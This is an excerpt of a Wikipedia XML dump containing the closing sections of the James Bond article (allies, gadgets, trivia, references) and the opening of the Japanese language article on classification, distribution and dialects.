The James Bond series of novels and films have a plethora of interesting allies and villains. Bond's superiors and other officers of the British Secret Service are generally known by letters such as [[M (James Bond)|M]] and [[Q (James Bond)|Q]]. In the novels (but not in the films), Bond has had two secretaries, [[List of James Bond allies#Ponsonby, Loelia|Loelia Ponsonby]] and [[List of James Bond allies#Goodnight, Mary|Mary Goodnight]], who in the films typically have their roles and lines transferred to M's secretary [[Miss Moneypenny]]. Occasionally Bond is assigned to work a case with his good friend, [[Felix Leiter]] of the [[Central Intelligence Agency|CIA]]. In the films, Leiter appeared regularly during the Connery era, only once during Moore's tenure, and in both Dalton films; however, he was only played by the same actor twice.

Bond's women, particularly in the films, often have [[double entendre]] names, leading to coy jokes, for example, &quot;[[Pussy Galore (James Bond)|Pussy Galore]]&quot; in ''Goldfinger'' (a name invented by Fleming), &quot;Plenty O'Toole&quot; in ''[[Diamonds Are Forever]]'', and &quot;[[Xenia Onatopp]]&quot; (a villainess sexually excited by [[strangling]] men with her thighs) in ''[[GoldenEye]]''. The aggressiveness of Bond's sexual conquests occasionally while his lovers eventually return his advances, he does not take the initial &quot;no&quot; for an answer. Despite Bond's philandering, most end up, if not in love with him, at least subdued by him. Since Brosnan's tenure, however, the character has taken on a (relatively) more progressive outlook on women; he respects the new, female M (played by [[Judi Dench]]) and has let a few women, particularly [[Paris Carver]] and Elektra King, get under his skin.  

Throughout both the novels and the films there have only been a handful of recurring characters. Some of the more memorable ones include [[List of James Bond allies#Tanner, Bill|Bill Tanner]], [[List of James Bond allies#Mathis, Rene|Rene Mathis]], [[Felix Leiter]], and [[List of James Bond allies#Wade, Jack|Jack Wade]].

==Vehicles &amp; gadgets==
{{main articles|[[List of James Bond vehicles]] and [[List of James Bond gadgets]]}}

[[Image:Aston.db5.coupe.300pix.jpg|200px|thumb|left|The [[Aston Martin DB5]] is the most famous and recognised Bond car]]
Exotic espionage equipment and vehicles are very popular elements of James Bond's literary and cinematic missions; these items often prove critically important to Bond removing obstacles to the success of his missions.

Fleming's novels and early screen adaptations presented minimal equipment such as ''From Russia with Love's'' booby-trapped [[attaché case]]; in ''Dr. No'', Bond's sole gadgets were a [[geiger counter]] and a wristwatch with a luminous (and [[radioactive]]!) face. The gadgets, however, assumed a higher, spectacular profile in the 1964 film  ''Goldfinger''; its success encouraged further espionage equipment from Q Branch to be supplied to 007. Some films, in the opinion of many critics and fans, have had excessive amounts of gadgets or extremely outlandish gadgets and vehicles, specifically 1979's [[science fiction]]-oriented ''Moonraker'' and 2002's ''Die Another Day'' in which Bond's Aston Martin could become [[Cloaking device|invisible]] due to a technology Q refers to as [[adaptive camouflage]]. Since ''Moonraker'' subsequent productions struggled with balancing gadget content against the story's capacities, without implying a technology-dependent man, to mixed results.

Bond's most famous car is the silver grey [[Aston Martin DB5]] seen in ''Goldfinger'', ''Thunderball'', ''GoldenEye'', and ''Tomorrow Never Dies''. Although the films used a number of different Aston Martin DB5s on film and for publicity one of them was sold in January 2006 at an auction in [[Arizona]] for $2,090,000 (USD) to an unnamed European collector. That specific car was originally sold for £5,000 in 1970 {{ref|DB5}}.

In Fleming's books, Bond had a penchant for &quot;battleship grey&quot; [[Bentley]]s, while Gardner awarded the agent a modified [[Saab 900]] Turbo nicknamed the [[Licence Renewed#The Silver Beast|Silver Beast]] and later a [[Bentley Mulsanne]] Turbo.

==Trivia==
*Many people assume the Bond producers would never hire an American to portray the character in the official film series. However, American actors have been hired on two occasions, and approached about playing Bond on several others. [[Adam West]] was offered the chance to appear in ''[[On Her Majesty's Secret Service]]'' when Connery chose not to return to the role, but turned down the offer. [[John Gavin]] was hired in [[1970]] to replace Lazenby, but Connery was lured back at the eleventh hour and it was he who appeared in ''Diamonds Are Forever'' instead of Gavin. [[Burt Reynolds]] was also asked by Cubby Broccoli in the early '70s to replace Connery after ''Diamonds Are Forever'', but turned him down. [[James Brolin]] was hired in [[1983]] to replace Moore, and was preparing to shoot ''[[Octopussy]]'' when the producers convinced Moore to return. Several other American actors, including [[Patrick McGoohan]], and [[Robert Wagner]], have been offered the role only to turn it down. To date, the only American to play the role is [[Barry Nelson]], albeit unofficially in the Americanised version of the character in the 1954 TV adaptation of ''Casino Royale''.
*[[Michael Gambon]], who co-starred with current Bond actor Daniel Craig in ''[[Layer Cake]]'' and ''[[Sylvia (movie)|Sylvia]]'', was asked by Cubby Broccoli to audition for the role in 1970 to replace Lazenby. Gambon spoke of the situation in an interview: ''When he told me he was considering me for the part of 007 himself, I was amazed. I objected, &quot;But I'm bald.&quot; &quot;So was Sean &amp;mdash; we'll get around it.&quot; he replied. &quot;But I've got breasts like a woman,&quot; I continued. &quot;Then we'll use ice packs before the love scenes like we did with Sean,&quot; he replied.'' [http://www.femalefirst.co.uk/entertainment/48252004.htm]
*While initially skeptical about Connery being chosen to play Bond (at one point dismissing him as an &quot;overgrown stuntman&quot;), Fleming liked his portrayal so much that he eventually added background to the character in the novels so that his father was Scottish.
*Accounts vary wildly in regards to which actor was Fleming's initial choice for the film version of Bond. Sources have suggested that Fleming favored [[Roger Moore]], [[James Mason]], and [[Cary Grant]], among others. According to Sir John Morgan, Ian Fleming's step son-in-law, Fleming favored little-known actor Edward Underdown, who played an Air Vice Marshall in ''[[Thunderball]]''. [http://commanderbond.net/Public/Stories/1716-1.shtml]
*Dalton was originally contracted for three films, with the third film planned for release in 1991. Although never officially confirmed, numerous sources have suggested the title was to be ''The Property of a Lady'', after the short story from the collection ''[[Octopussy and The Living Daylights#&quot;The Property of a Lady&quot;|Octopussy and The Living Daylights]]''. Legal wranglings over ownership of the Bond franchise, however, led to the series being put on hiatus until [[1994]].
*With the release of ''Casino Royale'', Craig will become the first actor with blond hair to have portrayed Bond; although Roger Moore did sport sandy colored hair in his first few Bond films, he is not considered a blond.
*[[Joe Don Baker]] played [[Brad Whitaker]], the villain in [[The Living Daylights]].  Baker shows up in later James Bond films, portraying [[Jack Wade]], one of James Bond's allies in both [[Goldeneye]] and [[Tomorrow Never Dies]].
*[[Desmond Llewelyn]] holds a record, appearing in 17 of the James Bond films as &quot;Q,&quot; aka [[Major Boothroyd]], and head of Q-branch.  In [[The World is Not Enough]], [[John Cleese]] is introduced as Q's assistant, whom Bond teasingly refers to as &quot;R.&quot; Despite Cleese receiving a credit as R, there is no hint in the dialogue that this is an official title. In [[Die Another Day]], Cleese becomes the new Q, the old Q having presumably retired. In fact Llewelyn had been killed in a car crash shortly after the release of the previous film.
*Five Ian Fleming titles have thus far never been used as film titles: ''The Property of a Lady'', ''Quantum of Solace'', ''Risico'', ''The Hildebrand Rarity'', and ''007 in New York''.
*[[Sean Connery]] starred in the [[The League of Extraordinary Gentlemen (film)|Motion Picture version]] of [[The League of Extraordinary Gentlemen]], which has a 'supposed' link to the roots of James Bond's ancestry.
*[[George Lucas]] has said on multiple occasions that Connery's portrayal of the character was one of the primary inspirations for his [[Indiana Jones]] character. As a tribute to this, when casting his third Indiana Jones film, ''[[Indiana Jones and the Last Crusade|The Last Crusade]]'', Lucas chose Connery for the role of Indiana's father, with his reasoning being &quot;Who else could play Indiana Jones' father, but the guy who inspired all of this in the first place, James Bond himself!&quot; (Sean Connery)
*The Clive Cussler book Night Probe features an older British character who was a former MI6 agent who appears to be James Bond. This character has, however, retired due to becoming too famous, but is lured out of retirement for one last mission.

==References==
*{{Note|Chancellor}}{{cite book | last = Chancellor | first = Henry | year = 2005 | title = James Bond: The Man and His World | publisher = John Murray | id = ISBN 0719568153}}
*{{Note|filmfranchise}} {{Web reference | URL = http://www.forbes.com/2005/06/15/batman-movies-franchises-cx_lh_lr_0615batman.html | title = James Bond the second highest grossing film franchise of all time | work = Most Lucrative Movie Franchises  | date = June 15 | year = 2005}}
*{{Note|AFI}} {{Web reference | URL = http://www.afi.com/tvevents/100years/quotes.aspx | title = &quot;Bond. James Bond&quot; 22nd greatest line in cinema history | work = AFI's 100 Years… 100 Movie Quotes  | date = July 13 | year = 2005}}
*{{Note|DB5}} {{Web reference | URL = http://news.bbc.co.uk/2/hi/uk_news/4633986.stm | title = Aston Martin DB5 auction | work = James Bond car sold for over £1m | date = February 8 | year = 2006}}
*{{cite book | last = Benson | first = Raymond | year = 1984 | title = The James Bond Bedside Companion | publisher = Dodd, Mead | id = ISBN 1401102840 }}
*{{cite book | last = Chapman | first = James | year = 1999 | title = Licence To Thrill: A Cultural History Of The James Bond Films | publisher = I.B. Tauris | id = ISBN 1860643876 }}
*{{cite book | last = Cork | first = John | year = 2002 | title = James Bond: The Legacy | publisher = Boxtree/Macmillan | id = ISBN 0810932962 }}
*{{cite book | last = Lindner | first = Christoph | year = 2003 | title = The James Bond Phenomenon: A Critical Reader | publisher = Manchester University Press | id = ISBN 0719065410 }}
*{{Web reference | URL = http://www.commanderbond.net/?action=Story&amp;SID=2677 | title = Charlie Higson interview with CommanderBond.net | work = The Charlie Higson CBn Interview | date = February 23 | year = 2005}}

*[http://www.the-numbers.com/movies/series/JamesBond.php Bond franchise Box Office numbers] [http://www.boxofficemojo.com/franchises/chart/?id=jamesbond.htm], [http://www.the-numbers.com/movies/1967/0CARO.html Casino Royale Box Office numbers (1967)], [http://www.freewebs.com/moonrakerbondstation2/index.htm Box Office numbers + Inflation]

==See also==
{{portal}}
*[[9007 James Bond]] (Asteroid named after the character)

==External links==
{{Wikiquote}}

; Official sites:
* [http://www.jamesbond.com James Bond Official Homepage]
* [http://www.007.com Official Danjaq 007 website]
* [http://www.ianflemingcentre.com Ian Fleming Publications Official Website]
* [http://www.jamesbond.com/mmpr/index.php?cat=sites&amp;id=mmpr Miss Moneypenny's Rolodex]
* [http://www.ianfleming.org Mr. Kiss Kiss Bang Bang! - Website of the Ian Fleming Foundation]
* [http://www.youngbond.com Young Bond Official Website]

; Fan sites:
* [http://www.ajb007.co.uk Absolutely James Bond]
* [http://commanderbond.net CommanderBond.net - News and information site]
* [http://www.mi6.co.uk MI6.co.uk - The home of James Bond]
* [http://www.klast.net/bond/ James Bond, Agent 007 OHMSS]
* [http://www.artofjamesbond.com Art of James Bond]
* [http://www.thejamesbondfanclub.com James Bond International Fan Club]
* [http://www.tjbd.co.uk The James Bond Dossier]
* [http://www.bondian.com Bondian.com: extensive Bond literature site]
* [http://www.goldeneyebooks.com/webpages/bibliographies.htm James Bond first edition bibliographies]
* [http://home.earthlink.net/~atomic_rom/007/ &quot;Make Mine a 007...&quot;]
* [http://www.jamesbondmm.co.uk James Bond Multimedia]
* [http://www.universalexports.net Universal Exports]
* [http://web.mac.com/zencato/iWeb/Young_Bond/Home.html The Young Bond Dossier]

{{JamesBond}}
{{Bond movies}}

[[Category:Fictional secret agents and spies|Bond, James]]
[[Category:James Bond]]
[[Category:James Bond characters|Bond, James]]
[[Category:Series of books]]
[[Category:Cinema of the United Kingdom]]
[[Category:Famous numbers|007]]
[[Category:Wold Newton Family Members|Bond, James]]
[[Category:British cultural icons|Bond, James]]
[[Category:Film characters|Bond, James]]
[[Category:Fictional widows and widowers|Bond, James]]
[[Category:Fictional British people|Bond, James]]


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  </page>
  <page>
    <title>Japanese language</title>
    <id>15606</id>
    <revision>
      <id>42068843</id>
      <timestamp>2006-03-03T16:29:26Z</timestamp>
      <contributor>
        <username>Eirikr</username>
        <id>188626</id>
      </contributor>
      <comment>/* Classification */ Rewording somewhat as Polynesian - J convergence more than just &quot;seemingly&quot;, and revising examples</comment>
      <text xml:space="preserve">{{Infobox Language
|name=Japanese
|nativename=日本語 ''Nihongo''
|familycolor=Isolate
|states=[[Japan]], [[Hawaii]], [[Brazil]], [[Guam]], [[Marshall Islands]], [[Palau]], [[Taiwan]]
|speakers=127 million
|rank=9
|fam1=[[Altaic languages|Altaic]] (disputed)
|fam2=[[Japonic languages|Japonic]]
|nation=[[Angaur]] ([[Palau]])&lt;br&gt;''De facto'' in [[Japan]]
|agency=None&lt;br&gt;[[Government of Japan|Japanese government]] plays major role
|iso1=ja|iso2=jpn|iso3=jpn}}
'''Japanese''' (日本語, {{Audio|ja-nihongo.ogg|''Nihongo''}}) is a language spoken by over 127 million people, mainly in [[Japan]], but also by Japanese emigrant communities around the world. It is considered an [[agglutinative language]] and is distinguished by a complex system of [[Japanese honorifics|honorifics]] reflecting the hierarchical nature of Japanese society, with verb forms and particular vocabulary which indicate the relative status of speaker and listener. The sound inventory of Japanese is relatively small, and it has a lexically-distinctive [[Japanese pitch accent|pitch accent]] system.

Japanese has been heavily influenced by [[Chinese language|Chinese]] over a period of at least 1,500 years.  Japanese is written with a mix of [[Chinese character]]s ([[kanji]]) and a modified [[syllabary]], [[kana]], also originally based on Chinese characters. Much vocabulary has been imported from Chinese, or created on Chinese models.

==Classification==

[[historical linguistics|Historical linguists]] who specialize in Japanese agree that it is one of the two members of the [[Japonic language|Japonic]] language family, but remain divided as to the origins of the Japonic languages. An older view, still widely held by some linguists and many non-linguists, is that Japanese is a [[language isolate]].

As for its relation to other languages, there are several theories (presented roughly in descending order of certainty):

* Japanese is a member of the [[Altaic languages|Altaic language]] family. Other languages in this group include [[Mongolian language|Mongolian]], [[Tungusic languages|Tungusic]], [[Turkish language|Turkish]], and (according to most proponents) [[Korean language|Korean]]. Evidence for this theory lies in the fact that like [[Turkish language|Turkish]] and [[Korean language|Korean]], Japanese is an [[agglutinative language]]. Additionally, there are a suggestive number of apparently regular correspondences in basic vocabulary, such as ''ishi'' &quot;stone&quot; to Turkic ''daş'', ''yon'' &quot;four&quot; to Turkic ''dört'', ''kura'' &quot;saddle&quot; to Turkic ''kürtün'', ''kiru'' &quot;to cut&quot; to Turkic ''kir-'', ''inu'' &quot;dog&quot; to Turkic ''it'', ''kuro'' &quot;black&quot; and ''kurai'' &quot;dark&quot; to Turkic ''köl'' &quot;shadow&quot;, etc. These examples originate from [http://starling.rinet.ru/cgi-bin/query.cgi?root=config&amp;basename=\data\alt\altet this database], which contains a comprehensive list of comparisons and  theoretical Altaic etymologies.
* Japanese is a relative of extinct languages spoken by historic cultures of [[Korea]] and [[Manchuria]]. The best attested of these is the language of [[Goguryeo]] (a.k.a. Koguryo), with the more poorly-attested languages of [[Baekje]] (a.k.a. Paekche) and [[Fuyu|Buyeo]] (a.k.a Puyo) hypothesized to also be related. &lt;!-- COMMENTING OUT - SEE TALK PAGE   Japanese is related to modern [[Korean language|Korean]] based primarily on near-identical grammar, but there is scarce lexical similarity between the two; supporters of the Buyeo languages theory generally do not include modern Korean as part of that family. --&gt;Supporters of the Buyeo languages theory generally do not include modern [[Korean language|Korean]] as part of that family because it is thought to have derived from the ancient language of [[Silla]].The limited data on these languages, as well as these cultures' historic ties, are the primary evidence. This has been largely subsumed into the Altaic theory. 

* Japanese is a relative of [[Korean language|Korean]]. This theory is based on the high degree of similarity between Japanese and Korean grammar. Proponents of this theory have also proposed Japanese-Korean cognates. The idea of a Japanese-Korean relationship has been largely subsumed into the Altaic theory. 
* Japanese is a [[creole language]]. Phonological similarities and geographical proximity to [[Austronesian languages]] have led to the theory that Japanese may be a kind of creole, with an [[Altaic languages|Altaic]] [[substratum]] and an Austronesian [[superstratum]], or vice versa.
* Japanese is a ''purely'' Austronesian language. This theory enjoys little currency, since the grammar and lexis of Japanese are vastly different from those of any known Austronesian language. Proponents of this theory point out examples of convergent lexis such as Japanese ''hina'' &quot;doll&quot; and ''hime'' &quot;girl&quot; or &quot;princess&quot; as cognate with the [[Maori language|Māori]] word ''hine'' &quot;girl&quot;, or Japanese ''kaku'' &quot;to write, to scratch&quot; with the [[Hawaiian language|Hawaiian]] ''kākau'' &quot;to write, to tattoo&quot;.  However, it is important to note that many totally unrelated languages exhibit chance occurences of convergent lexis.
* Susumu Ohno and other linguists including R. Caidwell, Susumu Shiba and Fujiwara Akira have suggested a possible relationship between Japanese and [[Tamil language|Tamil]], a member of the [[Dravidian languages|Dravidian language]] family spoken in [[South India]]. Evidence for this theory is that Japanese and Tamil are both [[agglutinative language]]s and also have similar [[phonetics]], [[vocabulary|vocabularies]], and [[retroflex consonant]]s.

Specialists in Japanese [[historical linguistics]] all agree that Japanese is related to the [[Ryukyuan languages]] (including [[Okinawan language|Okinawan]]); together, Japanese and Ryukyuan are grouped in the [[Japonic languages]]. Among these specialists, the possibility of a genetic relation to [[Goguryeo]] has the most evidence; relationship to [[Korean language|Korean]] is considered plausible but is still up to debate; the Altaic hypothesis has somewhat less currency, though it has grown significantly more respectable in recent years, primarily due to the work of [[Sergei Starostin]], et al. Almost all specialists reject the idea that Japanese could be genetically related to [[Austronesian languages|Austronesian]]/[[Malayo-Polynesian languages]] or [[Sino-Tibetan languages]], and the idea that Japanese could be related to [[Tamil language|Tamil]] is almost entirely excluded.

It should be noted that linguistic studies, like all fields, can be strongly affected by national politics and other non-academic factors. For example, most linguists would say that [[Romanian language|Romanian]] and [[Moldovan language|Moldovan]] are essentially the same language, and that they are known as two different languages for political reasons. Japan's long-standing rivalries and enmities with virtually all of its neighbours make the study of linguistic connection particularly fraught with such political tensions. However, these tensions are less prevalent among non-Japanese researchers.

==Geographic distribution==
Although Japanese is spoken almost exclusively in Japan, it has been and is still sometimes spoken in countries besides Japan. When Japan occupied [[Korea]], [[Taiwan]], parts of [[China]], and various Pacific islands, locals in [[Greater East Asia Co-Prosperity Sphere|those countries]] were forced to learn Japanese in empire-building programmes. As a result, there are still many people in these countries who speak Japanese instead of or as well as the local languages. In addition, emigrants from Japan, the majority of whom are found in [[Brazil]], where the biggest Japanese community outside Japan is found, [[Australia]] (especially [[Sydney]], [[Brisbane]], and [[Melbourne]]), and the [[United States]] (notably [[California]] and [[Hawaii]]), also frequently speak Japanese. There is also a small community in [[Davao]], [[Philippines]]. Their descendants (known as ''nikkei'' 日系, literally Japanese descendants), however, rarely speak Japanese fluently. There are estimated to be several million non-Japanese studying the language as well.

=== Official status ===
Japanese is the official language of Japan, and Japan is the only country to have Japanese as an official working language. There are two forms of the language considered standard: {{nihongo|''hyōjungo''|標準語|}} or standard Japanese, and {{nihongo|''kyōtsūgo''|共通語|}} or the common language. As government policy has modernized Japanese, many of the distinctions between the two have blurred. ''Hyōjungo'' is taught in schools and used on television and in official communications, and is the version of Japanese discussed in this article.

Standard Japanese can also be divided into {{nihongo|''bungo''|文語|}} or &quot;literary language,&quot; and {{nihongo|''kōgo''|口語|}} or &quot;oral language,&quot; which have different rules of grammar and some variance in vocabulary. ''Bungo'' was the main method of writing Japanese until the late 1940s, and still has relevance for historians, literary scholars, and lawyers (many Japanese laws that survived World War II are still written in ''bungo'', although there are ongoing efforts to modernize their language). ''Kōgo'' is the predominant method of speaking and writing Japanese today, although ''bungo'' grammar and vocabulary occasionally appears in modern Japanese for poetic effect.

===Dialects===
{{main|Japanese dialects}}

Dozens of dialects are spoken in Japan. The profusion is due to the mountainous island terrain and Japan's long history of both external and internal isolation. Dialects typically differ in terms of pitch accent, inflectional [[morphology (linguistics)|morphology]], [[vocabulary]], particle usage, and pronunciation. Some even differ in vowel and consonant inventories, although this is uncommon.

Dialects from less central regions, such as the [[Tōhoku Region|Tōhoku]] or [[Tsushima]] dialect may be unintelligible to speakers from other parts of the country. The dialect used in [[Kagoshima]] in southern [[Kyūshū]] is famous for being unintelligible not only to speakers of standard Japanese but to speakers of nearby dialects elsewhere in Kyūshū as well. Kagoshima dialect is 84% cognate with standard Tokyo dialect. [[Kansai-ben]], a group of dialects from west-central Japan, is spoken by many Japanese; the Osaka dialect in particular is associated with comedy, and many entertainers use Osaka dialect phrases solely for humor value.

The [[Ryukyuan languages]] are spoken in the [[Ryukyu Islands]]. Not only is each language unintelligible to Japanese speakers, but most are unintelligible to those who speak other Ryukyuan languages. Due to the close relationship of Ryukyuan and Japanese, they are still sometimes said to be only dialects of one language, but modern scholars consider them to be separate languages.

Recently, Standard Japanese has 